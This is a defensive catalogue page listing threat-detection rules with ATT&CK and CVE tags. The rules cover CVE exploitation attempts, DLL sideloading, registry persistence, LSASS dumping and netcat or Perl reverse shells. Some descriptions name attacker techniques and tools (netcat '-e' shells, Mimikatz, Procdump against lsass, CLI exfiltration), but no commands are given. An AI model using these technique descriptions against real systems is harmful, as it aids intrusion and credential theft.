Detects potential exploitation attempt of CVE-2023-2283 an authentication bypass in libSSH. The exploitation method causes an error message stating that keys for curve25519 could not be generated. It is an error message that is a sign of an exploitation attempt. It is not a sign of a successful exploitation.

Read More
Potential CVE-2023-23397 Exploitation Attempt - SMB

Aug 12, 2024 · attack.exfiltration cve.2023-23397 detection.emerging-threats ·
Share on:

Detects (failed) outbound connection attempts to internet facing SMB servers. This could be a sign of potential exploitation attempts of CVE-2023-23397.

Read More
Potential CVE-2023-23752 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2023-23752 detection.emerging-threats ·
Share on:

Detects the potential exploitation attempt of CVE-2023-23752 an Improper access check, in web service endpoints in Joomla

Read More
Potential CVE-2023-25157 Exploitation Attempt

Aug 12, 2024 · attack.initial-access cve.2023-25157 detection.emerging-threats ·
Share on:

Detects a potential exploitation attempt of CVE-2023-25157 a SQL injection in GeoServer

Read More
Potential CVE-2023-25717 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2023-25717 detection.emerging-threats ·
Share on:

Detects a potential exploitation attempt of CVE-2023-25717 a Remote Code Execution via an unauthenticated HTTP GET Request, in Ruckus Wireless Admin

Read More
Potential CVE-2023-27997 Exploitation Indicators

Aug 12, 2024 · cve.2023-27997 attack.initial-access attack.t1190 detection.emerging-threats ·
Share on:

Detects indicators of potential exploitation of CVE-2023-27997 in Frotigate weblogs. To avoid false positives it is best to look for successive requests to the endpoints mentioned as well as weird values of the "enc" parameter

Read More
Potential CVE-2023-36874 Exploitation - Fake Wermgr Execution

Aug 12, 2024 · attack.execution cve.2023-36874 detection.emerging-threats ·
Share on:

Detects the execution of a renamed "cmd", "powershell" or "powershell_ise" binary. Attackers were seen using these binaries in a renamed form as "wermgr.exe" in exploitation of CVE-2023-36874

Read More
Potential CVE-2023-36874 Exploitation - Uncommon Report.Wer Location

Aug 12, 2024 · attack.execution cve.2023-36874 detection.emerging-threats ·
Share on:

Detects the creation of a "Report.wer" file in an uncommon folder structure. This could be a sign of potential exploitation of CVE-2023-36874.

Read More
Potential CVE-2023-36884 Exploitation - File Downloads

Aug 12, 2024 · attack.command-and-control cve.2023-36884 detection.emerging-threats ·
Share on:

Detects files seen being requested by RomCom while potentially exploiting CVE-2023-36884

Read More
Potential CVE-2023-36884 Exploitation - Share Access

Aug 12, 2024 · attack.command-and-control cve.2023-36884 detection.emerging-threats ·
Share on:

Detects access to a file share with a naming schema seen being used during exploitation of CVE-2023-36884

Read More
Potential CVE-2023-36884 Exploitation - URL Marker

Aug 12, 2024 · attack.command-and-control cve.2023-36884 detection.emerging-threats ·
Share on:

Detects a unique URL marker seen being used by RomCom potentially exploiting CVE-2023-36884

Read More
Potential CVE-2023-36884 Exploitation Dropped File

Aug 12, 2024 · attack.persistence attack.defense-evasion cve.2023-36884 detection.emerging-threats ·
Share on:

Detects a specific file being created in the recent folder of Office. These files have been seen being dropped during potential exploitations of CVE-2023-36884

Read More
Potential CVE-2023-36884 Exploitation Pattern

Aug 12, 2024 · attack.command-and-control cve.2023-36884 detection.emerging-threats ·
Share on:

Detects a unique pattern seen being used by RomCom potentially exploiting CVE-2023-36884

Read More
Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection

Aug 12, 2024 · attack.initial-access attack.persistence attack.privilege-escalation attack.defense-evasion cve.2024-3400 ·
Share on:

Detects potential exploitation attempts of CVE-2024-3400 - an OS command injection in Palo Alto GlobalProtect. This detection looks for suspicious strings that indicate a potential directory traversal attempt or command injection.

Read More
Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection - File Creation

Aug 12, 2024 · attack.execution cve.2024-3400 detection.emerging-threats ·
Share on:

Detects suspicious file creations in the Palo Alto Networks PAN-OS' parent telemetry folder, which are processed by the vulnerable 'dt_curl' script if device telemetry is enabled. As said script overrides the shell-subprocess restriction, arbitrary command execution may occur by carefully crafting filenames that are escaped through this function.

Read More
Potential CVE-2303-36884 URL Request Pattern Traffic

Aug 12, 2024 · attack.command-and-control cve.2023-36884 detection.emerging-threats ·
Share on:

Detects a specific URL pattern containing a specific extension and parameters pointing to an IP address. This pattern was seen being used by RomCOM potentially exploiting CVE-2023-36884

Read More
Potential Data Exfiltration Activity Via CommandLine Tools

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the use of various CLI utilities exfiltrating data via web requests

Read More
Potential Data Exfiltration Via Audio File

Aug 12, 2024 · attack.exfiltration ·
Share on:

Detects potential exfiltration attempt via audio file using PowerShell

Read More
Potential Data Stealing Via Chromium Headless Debugging

Aug 12, 2024 · attack.credential-access attack.t1185 ·
Share on:

Detects chromium based browsers starting in headless and debugging mode and pointing to a user profile. This could be a sign of data stealing or remote control

Read More
Potential DCOM InternetExplorer.Application DLL Hijack

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 attack.t1021.003 ·
Share on:

Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class over the network

Read More
Potential DCOM InternetExplorer.Application DLL Hijack - Image Load

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 attack.t1021.003 ·
Share on:

Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class

Read More
Potential Defense Evasion Via Binary Rename

Aug 12, 2024 · attack.defense-evasion attack.t1036.003 ·
Share on:

Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.

Read More
Potential Defense Evasion Via Raw Disk Access By Uncommon Tools

Aug 12, 2024 · attack.defense-evasion attack.t1006 ·
Share on:

Detects raw disk access using uncommon tools or tools that are located in suspicious locations (heavy filtering is required), which could indicate possible defense evasion attempts

Read More
Potential Devil Bait Malware Reconnaissance

Aug 12, 2024 · attack.defense-evasion attack.t1218 detection.emerging-threats ·
Share on:

Detects specific process behavior observed with Devil Bait samples

Read More
Potential Devil Bait Related Indicator

Aug 12, 2024 · attack.defense-evasion detection.emerging-threats ·
Share on:

Detects the creation of ".xml" and ".txt" files in folders of the "\AppData\Roaming\Microsoft" directory by uncommon processes. This behavior was seen common across different Devil Bait samples and stages as described by the NCSC

Read More
Potential Discovery Activity Using Find - Linux

Aug 12, 2024 · attack.discovery attack.t1083 ·
Share on:

Detects usage of "find" binary in a suspicious manner to perform discovery

Read More
Potential Discovery Activity Using Find - MacOS

Aug 12, 2024 · attack.discovery attack.t1083 ·
Share on:

Detects usage of "find" binary in a suspicious manner to perform discovery

Read More
Potential Discovery Activity Via Dnscmd.EXE

Aug 12, 2024 · attack.discovery attack.execution attack.t1543.003 ·
Share on:

Detects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain. DNS zones used to host the DNS records for a particular domain.

Read More
Potential DLL File Download Via PowerShell Invoke-WebRequest

Aug 12, 2024 · attack.command-and-control attack.execution attack.t1059.001 attack.t1105 ·
Share on:

Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest cmdlet

Read More
Potential DLL Injection Or Execution Using Tracker.exe

Aug 12, 2024 · attack.defense-evasion attack.t1055.001 ·
Share on:

Detects potential DLL injection and execution using "Tracker.exe"

Read More
Potential DLL Sideloading Of DBGCORE.DLL

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects DLL sideloading of "dbgcore.dll"

Read More
Potential DLL Sideloading Of DBGHELP.DLL

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "dbghelp.dll"

Read More
Potential DLL Sideloading Of DbgModel.DLL

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "DbgModel.dll"

Read More
Potential DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL side loading of "KeyScramblerIE.dll" by "KeyScrambler.exe". Various threat actors and malware have been found side loading a masqueraded "KeyScramblerIE.dll" through "KeyScrambler.exe".

Read More
Potential DLL Sideloading Of Libcurl.DLL Via GUP.EXE

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "libcurl.dll" by the "gup.exe" process from an uncommon location

Read More
Potential DLL Sideloading Of MpSvc.DLL

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "MpSvc.dll".

Read More
Potential DLL Sideloading Of MsCorSvc.DLL

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "mscorsvc.dll".

Read More
Potential DLL Sideloading Of Non-Existent DLLs From System Folders

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects DLL sideloading of system DLLs that are not present on the system by default (at least not in system directories). Usually this technique is used to achieve UAC bypass or privilege escalation.

Read More
Potential DLL Sideloading Via ClassicExplorer32.dll

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading using ClassicExplorer32.dll from the Classic Shell software

Read More
Potential DLL Sideloading Via comctl32.dll

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading using comctl32.dll to obtain system privileges

Read More
Potential DLL Sideloading Via DeviceEnroller.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that does not exist. This non-existent DLL file is named "ShellChromeAPI.dll". Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter

Read More
Potential DLL Sideloading Via JsSchHlp

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading using JUSTSYSTEMS Japanese word processor

Read More
Potential DLL Sideloading Via VMware Xfer

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects loading of a DLL by the VMware Xfer utility from the non-default directory which may be an attempt to sideload arbitrary DLL

Read More
Potential Dosfuscation Activity

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects possible payload obfuscation via the commandline

Read More
Potential Download/Upload Activity Using Type Command

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects usage of the "type" command to download/upload data from WebDAV server

Read More
Potential Dridex Activity

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 attack.discovery attack.t1135 attack.t1033 detection.emerging-threats ·
Share on:

Detects potential Dridex acitvity via specific process patterns

Read More
Potential Dtrack RAT Activity

Aug 12, 2024 · attack.impact attack.t1490 detection.emerging-threats ·
Share on:

Detects potential Dtrack RAT activity via specific process patterns

Read More
Potential EACore.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "EACore.dll"

Read More
Potential Edputil.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "edputil.dll"

Read More
Potential Emotet Activity

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1027 detection.emerging-threats ·
Share on:

Detects all Emotet like process executions that are not covered by the more generic rules

Read More
Potential Emotet Rundll32 Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 detection.emerging-threats ·
Share on:

Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL

Read More
Potential EmpireMonkey Activity

Aug 12, 2024 · attack.defense-evasion attack.t1218.010 detection.emerging-threats ·
Share on:

Detects potential EmpireMonkey APT activity

Read More
Potential Encoded PowerShell Patterns In CommandLine

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects specific combinations of encoding methods in PowerShell via the commandline

Read More
Potential Encrypted Registry Blob Related To SNAKE Malware

Aug 12, 2024 · attack.persistence detection.emerging-threats ·
Share on:

Detects the creation of a registry value in the ".wav\OpenWithProgIds" key with an uncommon name. This could be related to SNAKE Malware as reported by CISA

Read More
Potential EventLog File Location Tampering

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Detects tampering with EventLog service "file" key. In order to change the default location of an Evtx file. This technique is used to tamper with log collection and alerting

Read More
Potential Execution of Sysinternals Tools

Aug 12, 2024 · attack.resource-development attack.t1588.002 ·
Share on:

Detects command lines that contain the 'accepteula' flag which could be a sign of execution of one of the Sysinternals tools

Read More
Potential Exploitation Attempt From Office Application

Aug 12, 2024 · attack.execution attack.defense-evasion cve.2021-40444 detection.emerging-threats ·
Share on:

Detects Office applications executing a child process that includes directory traversal patterns. This could be an attempt to exploit CVE-2022-30190 (MSDT RCE) or CVE-2021-40444 (MSHTML RCE)

Read More
Potential Exploitation Attempt Of Undocumented WindowsServer RCE

Aug 12, 2024 · detection.emerging-threats attack.initial-access attack.t1190 ·
Share on:

Detects potential exploitation attempt of undocumented Windows Server Pre Auth Remote Code Execution (RCE)

Read More
Potential Exploitation of CVE-2024-3094 - Suspicious SSH Child Process

Aug 12, 2024 · attack.execution cve.2024-3094 ·
Share on:

Detects potentially suspicious child process of SSH process (sshd) with a specific execution user. This could be a sign of potential exploitation of CVE-2024-3094.

Read More
Potential Exploitation of CVE-2024-37085 - Suspicious Creation Of ESX Admins Group

Aug 12, 2024 · attack.execution cve.2024-37085 detection.emerging-threats ·
Share on:

Detects execution of the "net.exe" command in order to add a group named "ESX Admins". This could indicates a potential exploitation attempt of CVE-2024-37085, which allows an attacker to elevate their privileges to full administrative access on an domain-joined ESXi hypervisor. VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named "ESX Admins" to have full administrative access by default.

Read More
Potential Exploitation of CVE-2024-37085 - Suspicious ESX Admins Group Activity

Aug 12, 2024 · attack.execution cve.2024-37085 detection.emerging-threats ·
Share on:

Detects any creation or modification to a windows domain group with the name "ESX Admins". This could indicates a potential exploitation attempt of CVE-2024-37085, which allows an attacker to elevate their privileges to full administrative access on an domain-joined ESXi hypervisor. VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named "ESX Admins" to have full administrative access by default.

Read More
Potential Fake Instance Of Hxtsr.EXE Executed

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications. HxTsr.exe is part of Outlook apps, because it resides in a hidden "WindowsApps" subfolder of "C:\Program Files". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe

Read More
Potential File Overwrite Via Sysinternals SDelete

Aug 12, 2024 · attack.impact attack.t1485 ·
Share on:

Detects the use of SDelete to erase a file not the free space

Read More
Potential GobRAT File Discovery Via Grep

Aug 12, 2024 · attack.discovery attack.t1082 ·
Share on:

Detects the use of grep to discover specific files created by the GobRAT malware

Read More
Potential Goofy Guineapig Backdoor Activity

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects a specific broken command that was used by Goofy-Guineapig as described by the NCSC report.

Read More
Potential Goofy Guineapig GoolgeUpdate Process Anomaly

Aug 12, 2024 · attack.defense-evasion detection.emerging-threats ·
Share on:

Detects "GoogleUpdate.exe" spawning a new instance of itself in an uncommon location as seen used by the Goofy Guineapig backdoor

Read More
Potential Goopdate.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "goopdate.dll", a DLL used by googleupdate.exe

Read More
Potential Homoglyph Attack Using Lookalike Characters

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1036.003 ·
Share on:

Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.

Read More
Potential Homoglyph Attack Using Lookalike Characters in Filename

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1036.003 ·
Share on:

Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.

Read More
Potential In-Memory Download And Compile Of Payloads

Aug 12, 2024 · attack.command-and-control attack.execution attack.t1059.007 attack.t1105 ·
Share on:

Detects potential in-memory downloading and compiling of applets using curl and osacompile as seen used by XCSSET malware

Read More
Potential In-Memory Execution Using Reflection.Assembly

Aug 12, 2024 · attack.defense-evasion attack.t1620 ·
Share on:

Detects usage of "Reflection.Assembly" load functions to dynamically load assemblies in memory

Read More
Potential Initial Access via DLL Search Order Hijacking

Aug 12, 2024 · attack.t1566 attack.t1566.001 attack.initial-access attack.t1574 attack.t1574.001 attack.defense-evasion ·
Share on:

Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking.

Read More
Potential Invoke-Mimikatz PowerShell Script

Aug 12, 2024 · attack.credential-access attack.t1003 ·
Share on:

Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords.

Read More
Potential Iviewers.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "iviewers.dll" (OLE/COM Object Interface Viewer)

Read More
Potential JNDI Injection Exploitation In JVM Based Application

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects potential JNDI Injection exploitation. Often coupled with Log4Shell exploitation.

Read More
Potential KamiKakaBot Activity - Lure Document Execution

Aug 12, 2024 · attack.execution attack.t1059 detection.emerging-threats ·
Share on:

Detects the execution of a Word document via the WinWord Start Menu shortcut. This behavior was observed being used by KamiKakaBot samples in order to initiate the 2nd stage of the infection.

Read More
Potential KamiKakaBot Activity - Shutdown Schedule Task Creation

Aug 12, 2024 · attack.persistence detection.emerging-threats ·
Share on:

Detects the creation of a schedule task that runs weekly and execute the "shutdown /l /f" command. This behavior was observed being used by KamiKakaBot samples in order to achieve persistence on a system.

Read More
Potential KamiKakaBot Activity - Winlogon Shell Persistence

Aug 12, 2024 · attack.persistence attack.t1547.001 detection.emerging-threats ·
Share on:

Detects changes to the "Winlogon" registry key where a process will set the value of the "Shell" to a value that was observed being used by KamiKakaBot samples in order to achieve persistence.

Read More
Potential Kapeka Decrypted Backdoor Indicator

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects the presence of a file that is decrypted backdoor binary dropped by the Kapeka Dropper, which disguises itself as a hidden file under a folder named "Microsoft" within "CSIDL_COMMON_APPDATA" or "CSIDL_LOCAL_APPDATA", depending on the process privileges. The file, typically 5-6 characters long with a random combination of consonants and vowels followed by a ".wll" extension to pose as a legitimate file to evade detection.

Read More
Potential Ke3chang/TidePool Malware Activity

Aug 12, 2024 · attack.g0004 attack.defense-evasion attack.t1562.001 detection.emerging-threats ·
Share on:

Detects registry modifications potentially related to the Ke3chang/TidePool malware as seen in campaigns running in 2019 and 2020

Read More
Potential Keylogger Activity

Aug 12, 2024 · attack.collection attack.credential-access attack.t1056.001 ·
Share on:

Detects PowerShell scripts that contains reference to keystroke capturing functions

Read More
Potential LethalHTA Technique Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218.005 ·
Share on:

Detects potential LethalHTA technique where the "mshta.exe" is spawned by an "svchost.exe" process

Read More
Potential Libvlc.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "libvlc.dll", a DLL that is legitimately used by "VLC.exe"

Read More
Potential Linux Amazon SSM Agent Hijacking

Aug 12, 2024 · attack.command-and-control attack.persistence attack.t1219 ·
Share on:

Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.

Read More
Potential Local File Read Vulnerability In JVM Based Application

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects potential local file read vulnerability in JVM based apps. If the exceptions are caused due to user input and contain path traversal payloads then it's a red flag.

Read More
Potential LSASS Process Dump Via Procdump

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.credential-access attack.t1003.001 car.2013-05-009 ·
Share on:

Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we are also able to catch cases in which the attacker has renamed the procdump executable.

Read More
Potential Malicious AppX Package Installation Attempts

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects potential installation or installation attempts of known malicious appx packages

Read More
Potential Malicious Usage of CloudTrail System Manager

Aug 12, 2024 · attack.privilege-escalation attack.t1566 attack.t1566.002 ·
Share on:

Detect when System Manager successfully executes commands against an instance.

Read More
Potential Manage-bde.wsf Abuse To Proxy Execution

Aug 12, 2024 · attack.defense-evasion attack.t1216 ·
Share on:

Detects potential abuse of the "manage-bde.wsf" script as a LOLBIN to proxy execution

Read More
Potential Maze Ransomware Activity

Aug 12, 2024 · attack.execution attack.t1204.002 attack.t1047 attack.impact attack.t1490 detection.emerging-threats ·
Share on:

Detects specific process characteristics of Maze ransomware word document droppers

Read More
Potential Memory Dumping Activity Via LiveKD

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects execution of LiveKD based on PE metadata or image name

Read More
Potential Meterpreter/CobaltStrike Activity

Aug 12, 2024 · attack.privilege-escalation attack.t1134.001 attack.t1134.002 ·
Share on:

Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting

Read More
Potential MFA Bypass Using Legacy Client Authentication

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1078.004 attack.t1110 ·
Share on:

Detects successful authentication from potential clients using legacy authentication via user agent strings. This could be a sign of MFA bypass using a password spray attack.

Read More
Potential Mfdetours.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "mfdetours.dll". While using "mftrace.exe" it can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution.

Read More
Potential Mftrace.EXE Abuse

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·
Share on:

Detects child processes of the "Trace log generation tool for Media Foundation Tools" (Mftrace.exe) which can abused to execute arbitrary binaries.

Read More
Potential Mpclient.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects potential sideloading of "mpclient.dll" by Windows Defender processes ("MpCmdRun" and "NisSrv") from their non-default directory.

Read More
Potential Mpclient.DLL Sideloading Via Defender Binaries

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects potential sideloading of "mpclient.dll" by Windows Defender processes ("MpCmdRun" and "NisSrv") from their non-default directory.

Read More
Potential Mpclient.DLL Sideloading Via OfflineScannerShell.EXE Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects execution of Windows Defender "OfflineScannerShell.exe" from its non standard directory. The "OfflineScannerShell.exe" binary is vulnerable to DLL side loading and will load any DLL named "mpclient.dll" from the current working directory.

Read More
Potential MsiExec Masquerading

Aug 12, 2024 · attack.defense-evasion attack.t1036.005 ·
Share on:

Detects the execution of msiexec.exe from an uncommon directory

Read More
Potential MSTSC Shadowing Activity

Aug 12, 2024 · attack.lateral-movement attack.t1563.002 ·
Share on:

Detects RDP session hijacking by using MSTSC shadowing

Read More
Potential MuddyWater APT Activity

Aug 12, 2024 · attack.defense-evasion attack.execution attack.g0069 detection.emerging-threats ·
Share on:

Detects potential Muddywater APT activity

Read More
Potential Netcat Reverse Shell Execution

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects execution of netcat with the "-e" flag followed by common shells. This could be a sign of a potential reverse shell setup.

Read More
Potential NetWire RAT Activity - Registry

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects registry keys related to NetWire RAT

Read More
Potential Network Sniffing Activity Using Network Tools

Aug 12, 2024 · attack.credential-access attack.discovery attack.t1040 ·
Share on:

Detects potential network sniffing via use of network tools such as "tshark", "windump". Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Read More
Potential NTLM Coercion Via Certutil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects possible NTLM coercion via certutil using the 'syncwithWU' flag

Read More
Potential Obfuscated Ordinal Call Via Rundll32

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects execution of "rundll32" with potential obfuscated ordinal calls

Read More
Potential OGNL Injection Exploitation In JVM Based Application

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2017-5638 cve.2022-26134 ·
Share on:

Detects potential OGNL Injection exploitation, which may lead to RCE. OGNL is an expression language that is supported in many JVM based systems. OGNL Injection is the reason for some high profile RCE's such as Apache Struts (CVE-2017-5638) and Confluence (CVE-2022-26134)

Read More
Potential Operation Triangulation C2 Beaconing Activity - DNS

Aug 12, 2024 · attack.command-and-control attack.g0020 detection.emerging-threats ·
Share on:

Detects potential beaconing activity to domains used in 0day attacks on iOS devices and revealed by Kaspersky and the FSB

Read More
Potential Operation Triangulation C2 Beaconing Activity - Proxy

Aug 12, 2024 · attack.command-and-control attack.g0020 detection.emerging-threats ·
Share on:

Detects potential beaconing activity to domains used in 0day attacks on iOS devices and revealed by Kaspersky and the FSB

Read More
Potential OWASSRF Exploitation Attempt - Proxy

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint

Read More
Potential OWASSRF Exploitation Attempt - Webserver

Aug 12, 2024 · attack.initial-access attack.t1190 detection.emerging-threats ·
Share on:

Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint

Read More
Potential Packet Capture Activity Via Start-NetEventSession - ScriptBlock

Aug 12, 2024 · attack.credential-access attack.discovery attack.t1040 ·
Share on:

Detects the execution of powershell scripts with calls to the "Start-NetEventSession" cmdlet. Which allows an attacker to start event and packet capture for a network event session. Adversaries may attempt to capture network to gather information over the course of an operation. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol.

Read More
Potential Password Spraying Attempt Using Dsacls.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects possible password spraying attempts using Dsacls

Read More
Potential PendingFileRenameOperations Tampering

Aug 12, 2024 · attack.defense-evasion attack.t1036.003 ·
Share on:

Detect changes to the "PendingFileRenameOperations" registry key from uncommon or suspicious images locations to stage currently used files for rename or deletion after reboot.

Read More
Potential Perl Reverse Shell Execution

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of the perl binary with the "-e" flag and common strings related to potential reverse shell activity

Read More
Potential Persistence Attempt Via ErrorHandler.Cmd

Aug 12, 2024 · attack.persistence ·
Share on:

Detects creation of a file named "ErrorHandler.cmd" in the "C:\WINDOWS\Setup\Scripts" directory which could be used as a method of persistence The content of C:\WINDOWS\Setup\Scripts\ErrorHandler.cmd is read whenever some tools under C:\WINDOWS\System32\oobe\ (e.g. Setup.exe) fail to run for any reason.

Read More
Potential Persistence Attempt Via Existing Service Tampering

Aug 12, 2024 · attack.persistence attack.t1543.003 attack.t1574.011 ·
Share on:

Detects the modification of an existing service in order to execute an arbitrary payload when the service is started or killed as a potential method for persistence.

Read More
Potential Persistence Attempt Via Run Keys Using Reg.EXE

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects suspicious command line reg.exe tool adding key to RUN key in Registry

Read More
Potential Persistence Using DebugPath

Aug 12, 2024 · attack.persistence attack.t1546.015 ·
Share on:

Detects potential persistence using Appx DebugPath

Read More
Potential Persistence Via App Paths Default Property

Aug 12, 2024 · attack.persistence attack.t1546.012 ·
Share on:

Detects changes to the "Default" property for keys located in the \Software\Microsoft\Windows\CurrentVersion\App Paths\ registry. Which might be used as a method of persistence The entries found under App Paths are used primarily for the following purposes. First, to map an application's executable file name to that file's fully qualified path. Second, to prepend information to the PATH environment variable on a per-application, per-process basis.

Read More
Potential Persistence Via AutodialDLL

Aug 12, 2024 · attack.persistence ·
Share on:

Detects change the the "AutodialDLL" key which could be used as a persistence method to load custom DLL via the "ws2_32" library

Read More
Potential Persistence Via CHM Helper DLL

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when an attacker modifies the registry key "HtmlHelp Author" to achieve persistence

Read More
Potential Persistence Via Custom Protocol Handler

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects potential persistence activity via the registering of a new custom protocole handlers. While legitimate applications register protocole handlers often times during installation. And attacker can abuse this by setting a custom handler to be used as a persistence mechanism.

Read More
Potential Persistence Via Disk Cleanup Handler - Registry

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence. The disk cleanup manager is part of the operating system. It displays the dialog box […] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI. Although Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.

Read More
